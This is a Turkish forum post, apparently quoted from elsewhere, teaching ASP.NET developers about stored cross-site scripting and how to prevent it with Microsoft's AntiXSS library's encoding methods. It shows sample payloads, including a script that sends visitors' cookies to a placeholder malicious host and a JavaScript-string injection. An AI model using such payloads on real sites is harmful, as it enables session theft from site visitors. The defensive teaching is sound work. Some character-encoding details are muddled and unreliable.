Kullanıcıdan alınan bilgi oldugu gibi veritabanına kaydediliyorsa ve aynı sekilde veritabanındanda istemciye gönderiliyorsa kötü niyetli kodların istemci tarafından çalıstırılması muhtemeldir.
Örnegin bir ziyaretçi defteri doldururken mesaj kısmına
Kod: Tümünü seç
<script> location.href= ‘http://www.google.com’;</script>
Ziyaretçilerin tarayıcılarında çalıstırılan bir javascript kodu ziyaretçiniz hakkındaki Session bilgilerinin de çalınmasına sebep olabilir.
Kod: Tümünü seç
<script>
document.location='http://www.kotuniyetlisite.com/yaz.aspx?a='+document.cookie
</script>
ASP.NET programcıları bu konuda diger web gelistiricilerinden biraz daha sanslı. Çünkü, “<” ve “>” karakterleri içinde gelen bilgi “Potansiyel Tehlikeli Bilgi” olarak algılanır ve sistem hata verir.
Ancak günümüz de sık gelistirilen “İçerik Yönetim Sistem” leri “FCK Editor” gibi html kodu üreten WYSWYG* editörleri kullanmakta.
Bu da ASP.NET programcısının “Fck Editor” kullandıgı sayfasının basına ValidateRequest="false" gibi bir kodu eklemesine sebep veriyor. Bu da XSS saldırıları için bir davet anlamına gelir.
Buraya kadar verdigimiz örnekler HTML kodları arasına sızan tekniklerdi.
Kullanıcıdan alınan bilgi ile olusturulabilecek JavaScript, VBScript, XML de bu tehlikelere maruz kalabilir.
Javascript için basit bir örnek verelim.
Default.aspx dosyamızda bulunan Javascript :
Kod: Tümünü seç
<script type="text/javascript" >
alert('Merhaba’ + ‘<asp:Literal runat="server" id="ltAd" />');
</script>
Kod: Tümünü seç
ltAd.Text = "Selçuk";
“Selçuk” degerinin veritabanından geldigini farzedelim. Eger veritabanından gelen söyle bir sey olursa :
Kod: Tümünü seç
ltAd.Text = " ' location.href='http://www.google.com'; alert('a";
Kod: Tümünü seç
<script type="text/javascript" >
alert('Merhaba '); location.href='http://www.google.com'; alert('a');
</script>
Bu konuda örnekler çogaltılabilir. Biz simdi alacagımız önlemlere geçelim.
Bunun için “Microsoft Anti-Cross Site Scripting Library” kütüphanesini kullanacagız.
http://www.microsoft.com/downloads/deta ... laylang=en adresinden temin edebileceginiz AntiXSSLibrary.dll i projemize dahil ediyoruz.
Microsoft.Application.Security.AntiXSS namespace’inden ulasabilecegimiz 7 adet static metot ile XSS saldırıların önüne geçebiliriz.
Bu metotlar :
HtmlEncode
HtmlAttributeEncode
JavaScriptEncode
UrlEncode
VisualBasicScriptEncode
XmlEncode
XmlAttributeEncode
Yukarıda verdigimiz örneklerden Javascript için
Kod: Tümünü seç
ltAd.Text = "'); location.href='http://www.google.com'; alert('a");
Kod: Tümünü seç
using Microsoft.Security.Application.AntiXss;
...
ltAd.Text =
JavaScriptEncode("'); location.href='http://www.google.com'; alert('a");
Sayfamızı derledikten sonra olusan Javascript kodumuzu inceleyelim :
Kod: Tümünü seç
<script type="text/javascript" >
alert('Merhaba '\x27\x29\x3b
location.href\x3d\x27http\x3a\x2f\x2fwww.google.com\x27\x3b
alert\x28\x27a');
</script>
Örnegin
Kod: Tümünü seç
ltAd.Text = Microsoft.Security.Application.AntiXss.JavaScriptEncode("Selçuk");
Bunun sebebi ise AntiXSS kütüphanesinin belli baslı karakterleri encode eder. Bunlar büyüktür “<” , küçüktür “>” , ampersand “&” , çift tırnak “"” ve ascii degeri 160-255 arası olan karakterlerdir.
“ç” harfi ascii tablosunda bulunmuyor ancak unicode deger olan 351’in Hexadecimal esiti 00e7 dir. Dolayısıyla Javascript’tin ç harfini \u00e7 olarak tanır.
Alıntıdır